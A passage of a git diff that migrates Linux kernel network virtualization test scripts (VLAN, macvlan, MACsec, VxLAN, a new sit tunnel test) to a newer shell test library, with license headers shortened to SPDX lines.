-tst_resm TINFO "test $virt_type"
-virt_setup "local $(tst_ipaddr) remote $(tst_ipaddr rhost) dev $(tst_iface)" \
-"local $(tst_ipaddr rhost) remote $(tst_ipaddr) dev $(tst_iface rhost)"
+	tst_res TINFO "test $virt_type"
+	virt_setup "local $(tst_ipaddr) remote $(tst_ipaddr rhost) dev $(tst_iface)" \
+	"local $(tst_ipaddr rhost) remote $(tst_ipaddr) dev $(tst_iface rhost)"
+}
 
-virt_netperf_msg_sizes
-
-tst_exit
+tst_run
diff --git a/testcases/network/virt/ipvlan01.sh b/testcases/network/virt/ipvlan01.sh
index c207693..f0a5466 100755
--- a/testcases/network/virt/ipvlan01.sh
+++ b/testcases/network/virt/ipvlan01.sh
@@ -1,34 +1,16 @@
 #!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-#
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 #
 # Local test, check if we can create and then delete ipvlan
 # interface multiple times.
 
-TCID=ipvlan01
-TST_TOTAL=2
-
 virt_type="ipvlan"
-
-. test_net.sh
+TST_TEST_DATA="mode l2,mode l3"
+TST_TEST_DATA_IFS=","
+TST_TESTFUNC=virt_test_02
 . virt_lib.sh
 
-options="mode l2,mode l3"
-
-virt_test_02 "$options"
-
-tst_exit
+tst_run
diff --git a/testcases/network/virt/macsec01.sh b/testcases/network/virt/macsec01.sh
index 52d6f07..d9d6e73 100755
--- a/testcases/network/virt/macsec01.sh
+++ b/testcases/network/virt/macsec01.sh
@@ -1,47 +1,15 @@
 #!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
+# Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 #
 # Test-case: setup two MACsec drivers and run TCP traffic over them
 # with default MACsec configuration, compare performance with similar
 # IPsec configuration on master interface.
 
-TCID=macsec01
-TST_TOTAL=16
-TST_NEEDS_TMPDIR=1
+IPSEC_PROTO="ah"
 
-virt_type="macsec"
-VIRT_PERF_THRESHOLD=${VIRT_PERF_THRESHOLD:-100}
+. macsec_lib.sh
 
-. ipsec_lib.sh
-. virt_lib.sh
-
-cleanup()
-{
-	virt_cleanup
-	tst_ipsec_cleanup
-}
-TST_CLEANUP="cleanup"
-
-IPSEC_MODE=transport
-IPSEC_PROTO=ah
-tst_resm TINFO "setup IPsec $IPSEC_MODE/$IPSEC_PROTO $EALGO"
-tst_ipsec lhost $(tst_ipaddr) $(tst_ipaddr rhost)
-tst_ipsec rhost $(tst_ipaddr rhost) $(tst_ipaddr)
-
-virt_macsec_setup
-virt_netperf_msg_sizes
-
-tst_exit
+tst_run
diff --git a/testcases/network/virt/macsec02.sh b/testcases/network/virt/macsec02.sh
index 617860d..0c40b25 100755
--- a/testcases/network/virt/macsec02.sh
+++ b/testcases/network/virt/macsec02.sh
@@ -1,48 +1,17 @@
 #!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
+# Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 #
 # Test-case: setup two MACsec drivers and run TCP traffic over them
 # with enabled frame encryption and replay protection, compare
 # performance with similar IPsec configuration on master interface.
 
-TCID=macsec02
-TST_TOTAL=16
-TST_NEEDS_TMPDIR=1
+IPSEC_PROTO="esp_aead"
+EALGO="aes"
+MACSEC_LIB_SETUP="replay on window 300 encrypt on protect on"
 
-virt_type="macsec"
-VIRT_PERF_THRESHOLD=${VIRT_PERF_THRESHOLD:-100}
+. macsec_lib.sh
 
-. ipsec_lib.sh
-. virt_lib.sh
-
-cleanup()
-{
-	virt_cleanup
-	tst_ipsec_cleanup
-}
-TST_CLEANUP="cleanup"
-
-IPSEC_MODE=transport
-IPSEC_PROTO=esp_aead
-EALGO=aes
-tst_resm TINFO "setup IPsec $IPSEC_MODE/$IPSEC_PROTO $EALGO"
-tst_ipsec lhost $(tst_ipaddr) $(tst_ipaddr rhost)
-tst_ipsec rhost $(tst_ipaddr rhost) $(tst_ipaddr)
-
-virt_macsec_setup "replay on window 300 encrypt on protect on"
-virt_netperf_msg_sizes
-
-tst_exit
+tst_run
diff --git a/testcases/network/virt/macsec_lib.sh b/testcases/network/virt/macsec_lib.sh
new file mode 100755
index 0000000..6e112de
--- /dev/null
+++ b/testcases/network/virt/macsec_lib.sh
@@ -0,0 +1,56 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
+# Author: Alexey Kodanev <alexey.kodanev@oracle.com>
+
+virt_type="macsec"
+VIRT_PERF_THRESHOLD=${VIRT_PERF_THRESHOLD:-100}
+IPSEC_MODE="transport"
+
+TST_NEEDS_TMPDIR=1
+TST_TESTFUNC=virt_netperf_msg_sizes
+TST_SETUP=macsec_lib_setup
+TST_CLEANUP=macsec_lib_cleanup
+TST_NEEDS_DRIVERS="macsec"
+. ipsec_lib.sh
+. virt_lib.sh
+
+# MACSEC_LIB_SETUP:
+# [ cipher { default | gcm-aes-128 } ] [ encrypt { on | off } ]
+# [ protect { on | off } ] [ replay { on | off } ] [ window WINDOW ]
+# [ validate { strict | check | disabled } ]
+macsec_lib_setup()
+{
+	local keyid0="01"
+	local keyid1="02"
+	local sa=0
+	local h0=$(tst_hwaddr)
+	local h1=$(tst_hwaddr rhost)
+	local cmd="ip macsec add ltp_v0"
+	local key0="01234567890123456789012345678901"
+	local key1="98765432109876543210987612343434"
+
+	ipsec_lib_setup
+
+	tst_res TINFO "setup IPsec $IPSEC_MODE/$IPSEC_PROTO $EALGO"
+	tst_ipsec lhost $(tst_ipaddr) $(tst_ipaddr rhost)
+	tst_ipsec rhost $(tst_ipaddr rhost) $(tst_ipaddr)
+
+	virt_setup "icvlen 16 encodingsa $sa $MACSEC_LIB_SETUP"
+
+	ROD $cmd tx sa $sa pn 100 on key $keyid0 $key0
+	ROD $cmd rx address $h1 port 1
+	ROD $cmd rx address $h1 port 1 sa $sa pn 100 on key $keyid1 $key1
+
+	tst_rhost_run -s -c "$cmd tx sa $sa pn 100 on key $keyid1 $key1"
+	tst_rhost_run -s -c "$cmd rx address $h0 port 1"
+	tst_rhost_run -s -c \
+		"$cmd rx address $h0 port 1 sa $sa pn 100 on key $keyid0 $key0"
+}
+
+macsec_lib_cleanup()
+{
+	virt_cleanup
+	tst_ipsec_cleanup
+}
diff --git a/testcases/network/virt/macvlan01.sh b/testcases/network/virt/macvlan01.sh
index ffb7536..3c4fda5 100755
--- a/testcases/network/virt/macvlan01.sh
+++ b/testcases/network/virt/macvlan01.sh
@@ -1,34 +1,16 @@
 #!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-#
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 #
 # Local test, check if we can create and then delete macvlan
 # interface multiple times.
 
-TCID=macvlan01
-TST_TOTAL=4
-
 virt_type="macvlan"
-
-. test_net.sh
+TST_TEST_DATA="mode private,mode vepa,mode bridge,mode passthru"
+TST_TEST_DATA_IFS=","
+TST_TESTFUNC=virt_test_02
 . virt_lib.sh
 
-options="mode private,mode vepa,mode bridge,mode passthru"
-
-virt_test_02 "$options"
-
-tst_exit
+tst_run
diff --git a/testcases/network/virt/macvtap01.sh b/testcases/network/virt/macvtap01.sh
index 5c54e99..93a3d34 100755
--- a/testcases/network/virt/macvtap01.sh
+++ b/testcases/network/virt/macvtap01.sh
@@ -1,34 +1,16 @@
 #!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-#
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 #
 # Local test, check if we can create and then delete macvtap
 # interface multiple times.
 
-TCID=macvtap01
-TST_TOTAL=4
-
 virt_type="macvtap"
-
-. test_net.sh
+TST_TEST_DATA="mode private,mode vepa,mode bridge,mode passthru"
+TST_TEST_DATA_IFS=","
+TST_TESTFUNC=virt_test_02
 . virt_lib.sh
 
-options="mode private,mode vepa,mode bridge,mode passthru"
-
-virt_test_02 "$options"
-
-tst_exit
+tst_run
diff --git a/testcases/network/virt/sit01.sh b/testcases/network/virt/sit01.sh
new file mode 100755
index 0000000..4ecc1f8
--- /dev/null
+++ b/testcases/network/virt/sit01.sh
@@ -0,0 +1,23 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Oracle and/or its affiliates.
+
+TST_NEEDS_TMPDIR=1
+TST_TESTFUNC=virt_netperf_msg_sizes
+TST_SETUP=do_setup
+TST_CLEANUP=virt_cleanup
+virt_type="sit"
+. virt_lib.sh
+
+do_setup()
+{
+	[ -n "$TST_IPV6" ] && tst_res TBROK "invalid option '-6' for sit tunnel"
+
+	virt_lib_setup
+
+	tst_res TINFO "test $virt_type"
+	virt_setup "local $(tst_ipaddr) remote $(tst_ipaddr rhost)" \
+		   "local $(tst_ipaddr rhost) remote $(tst_ipaddr)"
+}
+
+tst_run
diff --git a/testcases/network/virt/virt_lib.sh b/testcases/network/virt/virt_lib.sh
index 7335d6e..c9fe80c 100644
--- a/testcases/network/virt/virt_lib.sh
+++ b/testcases/network/virt/virt_lib.sh
@@ -1,19 +1,7 @@
 #!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-#
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 #
 # VxLAN
@@ -28,6 +16,51 @@
 #          them in cleanup function. See "start_vni" variable which can
 #          solve it.
 
+TST_SETUP="${TST_SETUP:-virt_lib_setup}"
+TST_CLEANUP="${TST_CLEANUP:-cleanup_vifaces}"
+
+virt_lib_usage()
+{
+	echo "i n     start ID to use"
+	echo "d x     VxLAN destination address, 'uni' or 'multi'"
+}
+
+virt_lib_parse_args()
+{
+	case "$1" in
+	i) start_id=$2 ;;
+	d) vxlan_dst_addr=$2 ;;
+	esac
+}
+
+virt_lib_setup()
+{
+	case "$virt_type" in
+	vxlan|geneve)
+		if tst_kvcmp -lt "3.8"; then
+			tst_brk TCONF "test must be run with kernel 3.8 or newer"
+		fi
+
+		if [ "$TST_IPV6" ] && tst_kvcmp -lt "3.12"; then
+			tst_brk TCONF "test must be run with kernels >= 3.12"
+		fi
+
+		# newer versions of 'ip' complain if this option not set
+		ip li add type vxlan help 2>&1 | grep -q dstport && vxlan_dstport=1
+	;;
+	esac
+
+	tst_test_cmds "ip"
+
+	virt_add ltp_v0 || \
+		tst_brk TCONF "iproute2 or kernel doesn't support $virt_type"
+
+	ROD_SILENT "ip link delete ltp_v0"
+}
+
+TST_NEEDS_ROOT=1
+. tst_net.sh
+
 ip_local=$(tst_ipaddr)
 ip_virt_local="$(TST_IPV6= tst_ipaddr_un)"
 ip6_virt_local="$(TST_IPV6=6 tst_ipaddr_un)"
@@ -40,29 +73,9 @@
 VIRT_PERF_THRESHOLD=${VIRT_PERF_THRESHOLD:-80}
 vxlan_dstport=0
 
-while getopts :hi:d:6 opt; do
-	case "$opt" in
-	h)
-		echo "Usage:"
-		echo "h        help"
-		echo "i n      start ID to use"
-		echo "d x      VxLAN destination address, 'uni' or 'multi'"
-		echo "6        run over IPv6"
-		exit 0
-	;;
-	i) start_id=$OPTARG ;;
-	d) vxlan_dst_addr=$OPTARG ;;
-	6) # skip, test_net library already processed it
-	;;
-	*)
-		tst_brkm TBROK "unknown option: $opt"
-	;;
-	esac
-done
-
 cleanup_vifaces()
 {
-	tst_resm TINFO "cleanup virtual interfaces..."
+	tst_res TINFO "cleanup virtual interfaces..."
 	local viface=`ip li | sed -nE 's/^[0-9]+: (ltp_v[0-9]+)[@:].+/\1/p'`
 	for vx in $viface; do
 		ip link delete $vx
@@ -82,12 +95,8 @@
 virt_cleanup()
 {
 	virt_cleanup_rmt
-	[ "$TST_NEEDS_TMPDIR" = 1 ] && tst_rmdir
 }
 
-TST_CLEANUP="cleanup_vifaces"
-trap "tst_brkm TBROK 'test interrupted'" INT
-
 virt_add()
 {
 	local vname=$1
@@ -98,6 +107,7 @@
 	vlan|vxlan)
 		[ -z "$opt" ] && opt="id 4094"
 		[ "$vxlan_dstport" -eq 1 ] && opt="dstport 0 $opt"
+		[ "$virt_type" = "vxlan" ] && opt="$opt dev $(tst_iface)"
 	;;
 	geneve)
 		[ -z "$opt" ] && opt="id 4094 remote $(tst_ipaddr rhost)"
@@ -106,11 +116,14 @@
 		[ -z "$opt" ] && \
 			opt="remote $(tst_ipaddr rhost) dev $(tst_iface)"
 	;;
+	sit)
+		[ -z "$opt" ] && opt="remote $(tst_ipaddr rhost) local $(tst_ipaddr)"
+	;;
 	esac
 
 	case $virt_type in
-	vxlan|geneve)
-		ip li add $vname type $virt_type $opt dev $(tst_iface)
+	vxlan|geneve|sit)
+		ip li add $vname type $virt_type $opt
 	;;
 	gre|ip6gre)
 		ip -f inet$TST_IPV6 tu add $vname mode $virt_type $opt
@@ -126,10 +139,13 @@
 	local opt=""
 	case $virt_type in
 	vxlan|geneve)
-		opt="dev $(tst_iface rhost)"
+		[ "$virt_type" = "vxlan" ] && opt="dev $(tst_iface rhost)"
 		[ "$vxlan_dstport" -eq 1 ] && opt="$opt dstport 0"
 		tst_rhost_run -s -c "ip li add ltp_v0 type $virt_type $@ $opt"
 	;;
+	sit)
+		tst_rhost_run -s -c "ip link add ltp_v0 type $virt_type $@"
+	;;
 	gre|ip6gre)
 		tst_rhost_run -s -c "ip -f inet$TST_IPV6 tu add ltp_v0 \
 				     mode $virt_type $@"
@@ -145,12 +161,13 @@
 {
 	local opt="$@"
 	local max=$(($start_id + $NS_TIMES - 1))
+	local i
 
-	tst_resm TINFO "add $NS_TIMES $virt_type, then delete"
+	tst_res TINFO "add $NS_TIMES $virt_type, then delete"
 
 	for i in $(seq $start_id $max); do
 		virt_add ltp_v$i id $i $opt || \
-			tst_brkm TFAIL "failed to create 'ltp_v0 $opt'"
+			tst_brk TFAIL "failed to create 'ltp_v0 $opt'"
 		ROD_SILENT "ip link set ltp_v$i up"
 	done
 
@@ -159,23 +176,24 @@
 		ROD_SILENT "ip link delete ltp_v$i"
 	done
 
-	tst_resm TPASS "done"
+	tst_res TPASS "done"
 }
 
 virt_add_delete_test()
 {
 	local opt="$@"
 	local max=$(($NS_TIMES - 1))
+	local i
 
-	tst_resm TINFO "add/del $virt_type $NS_TIMES times"
+	tst_res TINFO "add/del $virt_type $NS_TIMES times"
 
 	for i in $(seq 0 $max); do
 		virt_add ltp_v0 $opt || \
-			tst_brkm TFAIL "failed to create 'ltp_v0 $opt'"
+			tst_brk TFAIL "failed to create 'ltp_v0 $opt'"
 		ROD_SILENT "ip link set ltp_v0 up"
 		ROD_SILENT "ip link delete ltp_v0"
 	done
-	tst_resm TPASS "done"
+	tst_res TPASS "done"
 }
 
 virt_setup()
@@ -183,11 +201,11 @@
 	local opt="$1"
 	local opt_r="${2:-$1}"
 
-	tst_resm TINFO "setup local ${virt_type} with '$opt'"
+	tst_res TINFO "setup local ${virt_type} with '$opt'"
 	virt_add ltp_v0 $opt || \
-		tst_brkm TBROK "failed to create 'ltp_v0 $opt'"
+		tst_brk TBROK "failed to create 'ltp_v0 $opt'"
 
-	tst_resm TINFO "setup rhost ${virt_type} with '$opt_r'"
+	tst_res TINFO "setup rhost ${virt_type} with '$opt_r'"
 	virt_add_rhost "$opt_r"
 
 	ROD_SILENT "ip addr add ${ip6_virt_local}/64 dev ltp_v0 nodad"
@@ -220,11 +238,11 @@
 vxlan_setup_subnet_uni()
 {
 	if tst_kvcmp -lt "3.10"; then
-		tst_brkm TCONF "test must be run with kernel 3.10 or newer"
+		tst_brk TCONF "test must be run with kernel 3.10 or newer"
 	fi
 
 	[ "$(ip li add type $virt_type help 2>&1 | grep remote)" ] || \
-		tst_brkm TCONF "iproute doesn't support remote unicast address"
+		tst_brk TCONF "iproute doesn't support remote unicast address"
 
 	local opt="$1 remote $(tst_ipaddr rhost)"
 	local opt_r="$2 remote $(tst_ipaddr)"
@@ -234,7 +252,7 @@
 
 vxlan_setup_subnet_multi()
 {
-	tst_check_cmds "od"
+	tst_test_cmds "od"
 	local b1=$(($(od -An -d -N1 /dev/urandom) % 254 + 1))
 	local b2=$(($(od -An -d -N1 /dev/urandom) % 254 + 1))
 	local b3=$(($(od -An -d -N1 /dev/urandom) % 254 + 1))
@@ -259,11 +277,11 @@
 	local expect_res="${1:-pass}"
 	local opts="$2"
 
-	tst_netload -H $ip_virt_remote $opts -d res_ipv4 -e $expect_res || \
-		ret1="fail"
+	tst_netload -H $ip_virt_remote $opts -d res_ipv4 -e $expect_res \
+		-D ltp_v0 || ret1="fail"
 
-	tst_netload -H ${ip6_virt_remote} $opts -d res_ipv6 -e $expect_res || \
-		ret2="fail"
+	tst_netload -H ${ip6_virt_remote} $opts -d res_ipv6 -e $expect_res \
+		-D ltp_v0 || ret2="fail"
 
 	[ "$ret1" = "fail" -o "$ret2" = "fail" ] && return
 
@@ -273,26 +291,26 @@
 	tst_netload -H $ip_remote $opts -d res_ipv4
 
 	local lt="$(cat res_ipv4)"
-	tst_resm TINFO "time lan($lt) $virt_type IPv4($vt) and IPv6($vt6) ms"
+	tst_res TINFO "time lan($lt) $virt_type IPv4($vt) and IPv6($vt6) ms"
 
 	per=$(( $vt * 100 / $lt - 100 ))
 	per6=$(( $vt6 * 100 / $lt - 100 ))
 
 	case "$virt_type" in
 	vxlan|geneve)
-		tst_resm TINFO "IP4 $virt_type over IP$ipver slower by $per %"
-		tst_resm TINFO "IP6 $virt_type over IP$ipver slower by $per6 %"
+		tst_res TINFO "IP4 $virt_type over IP$TST_IPVER slower by $per %"
+		tst_res TINFO "IP6 $virt_type over IP$TST_IPVER slower by $per6 %"
 	;;
 	*)
-		tst_resm TINFO "IP4 $virt_type slower by $per %"
-		tst_resm TINFO "IP6 $virt_type slower by $per6 %"
+		tst_res TINFO "IP4 $virt_type slower by $per %"
+		tst_res TINFO "IP6 $virt_type slower by $per6 %"
 	esac
 
 	if [ "$per" -ge "$VIRT_PERF_THRESHOLD" -o \
 	     "$per6" -ge "$VIRT_PERF_THRESHOLD" ]; then
-		tst_resm TFAIL "Test failed, threshold: $VIRT_PERF_THRESHOLD %"
+		tst_res TFAIL "Test failed, threshold: $VIRT_PERF_THRESHOLD %"
 	else
-		tst_resm TPASS "Test passed, threshold: $VIRT_PERF_THRESHOLD %"
+		tst_res TPASS "Test passed, threshold: $VIRT_PERF_THRESHOLD %"
 	fi
 }
 
@@ -300,124 +318,40 @@
 {
 	$@ > /dev/null 2>&1
 	if [ $? -ne 0 ]; then
-		tst_resm TCONF "'$@' option(s) not supported, skipping it"
+		tst_res TCONF "'$@' option(s) not supported, skipping it"
 		return 1
 	fi
 	ROD_SILENT "ip li delete ltp_v0"
 	return 0
 }
 
-# virt_macsec_setup [OPTIONS]
-# OPTIONS - [ cipher { default | gcm-aes-128 } ] [ encrypt { on | off } ]
-#           [ protect { on | off } ] [ replay { on | off } ] [ window WINDOW ]
-#           [ validate { strict | check | disabled } ]
-virt_macsec_setup()
-{
-	local keyid0=01
-	local keyid1=02
-	local sa=0
-	local h0=$(tst_hwaddr)
-	local h1=$(tst_hwaddr rhost)
-	local cmd="ip macsec add ltp_v0"
-	local key0="01234567890123456789012345678901"
-	local key1="98765432109876543210987612343434"
-
-	virt_setup "icvlen 16 encodingsa $sa $@"
-
-	ROD $cmd tx sa $sa pn 100 on key $keyid0 $key0
-	ROD $cmd rx address $h1 port 1
-	ROD $cmd rx address $h1 port 1 sa $sa pn 100 on key $keyid1 $key1
-
-	tst_rhost_run -s -c "$cmd tx sa $sa pn 100 on key $keyid1 $key1"
-	tst_rhost_run -s -c "$cmd rx address $h0 port 1"
-	tst_rhost_run -s -c \
-		"$cmd rx address $h0 port 1 sa $sa pn 100 on key $keyid0 $key0"
-}
-
 virt_netperf_msg_sizes()
 {
-	local sizes="${@:-100 1000 2000 10000}"
-	client_requests=20000
+	local sizes="100 1000 2000 10000"
+	local s
 
 	for s in $sizes; do
 		virt_compare_netperf pass "-n $s -N $s"
 	done
 }
 
-# Check if we can create then delete virtual interface n times.
-# virt_test_01 [OPTIONS]
-# OPTIONS - different options separated by comma.
+# Check if we can create then delete virtual interface.
 virt_test_01()
 {
-	start_id=${start_id:-"1"}
-	local opts=${1:-""}
-	local n=0
+	start_id="${start_id:-1}"
 
-	while true; do
-		n=$((n + 1))
-		p="$(echo $opts | cut -d',' -f$n)"
-		if [ -z "$p" -a $n -gt 1 ]; then
-			break
-		fi
-
-		tst_resm TINFO "add $virt_type with '$p'"
-
-		virt_check_cmd virt_add ltp_v0 id 0 $p || continue
-
-		virt_multiple_add_test "$p"
-
-		start_id=$(($start_id + $NS_TIMES))
-	done
+	tst_res TINFO "add $virt_type with '$2'"
+	virt_check_cmd virt_add ltp_v0 id 0 $2 || return
+	virt_multiple_add_test "$2"
 }
 
-# Check if we can create then delete virtual interface n times.
-# virt_test_02 [OPTIONS]
-# OPTIONS - different options separated by comma.
+# Check if we can create then delete virtual interface.
 virt_test_02()
 {
-	start_id=${start_id:-"1"}
-	local opts=${1:-""}
-	local n=0
+	start_id="${start_id:-1}"
 
-	while true; do
-		n=$((n + 1))
-		p="$(echo $opts | cut -d',' -f$n)"
-		if [ -z "$p" -a $n -gt 1 ]; then
-			break
-		fi
-
-		tst_resm TINFO "add and then delete $virt_type with '$p'"
-
-		virt_check_cmd virt_add ltp_v0 $p || continue
-
-		virt_add_delete_test "$p"
-
-		start_id=$(($start_id + $NS_TIMES))
-	done
+	tst_res TINFO "add and then delete $virt_type with '$2'"
+	virt_check_cmd virt_add ltp_v0 $2 || return
+	virt_add_delete_test "$2"
+	start_id=$(($start_id + $NS_TIMES))
 }
-
-tst_require_root
-
-case "$virt_type" in
-vxlan|geneve)
-	if tst_kvcmp -lt "3.8"; then
-		tst_brkm TCONF "test must be run with kernel 3.8 or newer"
-	fi
-
-	if [ "$TST_IPV6" ] && tst_kvcmp -lt "3.12"; then
-		tst_brkm TCONF "test must be run with kernels >= 3.12"
-	fi
-
-	# newer versions of 'ip' complain if this option not set
-	ip li add type vxlan help 2>&1 | grep -q dstport && vxlan_dstport=1
-;;
-esac
-
-ipver=${TST_IPV6:-'4'}
-
-tst_check_cmds "ip"
-
-virt_add ltp_v0 || \
-	tst_brkm TCONF "iproute2 or kernel doesn't support $virt_type"
-
-ROD_SILENT "ip link delete ltp_v0"
diff --git a/testcases/network/virt/vlan01.sh b/testcases/network/virt/vlan01.sh
index 50cdfcb..69d2564 100755
--- a/testcases/network/virt/vlan01.sh
+++ b/testcases/network/virt/vlan01.sh
@@ -1,31 +1,10 @@
 #!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-#
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 #
 # Local test, check if we can create multiple VLAN interfaces.
-#
-
-TCID=vlan01
-TST_TOTAL=9
-
-virt_type="vlan"
-
-. test_net.sh
-. virt_lib.sh
 
 p0="protocol 802.1Q"
 p1="protocol 802.1ad"
@@ -34,9 +13,12 @@
 rh0="reorder_hdr off"
 rh1="reorder_hdr on"
 
-options=" ,$p0 $lb0 $rh0,$p0 $lb0 $rh1,$p0 $lb1 $rh0,$p0 $lb1 $rh1,\
-$p1 $lb0 $rh0,$p1 $lb0 $rh1,$p1 $lb1 $rh0,$p1 $lb1 $rh1,"
+virt_type="vlan"
 
-virt_test_01 "$options"
+TST_TEST_DATA=",$p0 $lb0 $rh0,$p0 $lb0 $rh1,$p0 $lb1 $rh0,$p0 $lb1 $rh1,\
+$p1 $lb0 $rh0,$p1 $lb0 $rh1,$p1 $lb1 $rh0,$p1 $lb1 $rh1"
+TST_TEST_DATA_IFS=","
+TST_TESTFUNC=virt_test_01
+. virt_lib.sh
 
-tst_exit
+tst_run
diff --git a/testcases/network/virt/vlan02.sh b/testcases/network/virt/vlan02.sh
index b10596d..04a8a5c 100755
--- a/testcases/network/virt/vlan02.sh
+++ b/testcases/network/virt/vlan02.sh
@@ -1,33 +1,20 @@
 #!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-#
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 #
 # Local test, check if we can create and then delete VLAN
 # interface 4095 times.
-#
-
-TCID=vlan02
-TST_TOTAL=1
 
 virt_type="vlan"
 
-. test_net.sh
+TST_TESTFUNC=do_test
 . virt_lib.sh
 
-virt_add_delete_test "id 4094"
+do_test()
+{
+	virt_add_delete_test "id 4094"
+}
 
-tst_exit
+tst_run
diff --git a/testcases/network/virt/vlan03.sh b/testcases/network/virt/vlan03.sh
index 814cc4c..adadd76 100755
--- a/testcases/network/virt/vlan03.sh
+++ b/testcases/network/virt/vlan03.sh
@@ -1,19 +1,7 @@
 #!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2015-2017 Oracle and/or its affiliates.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
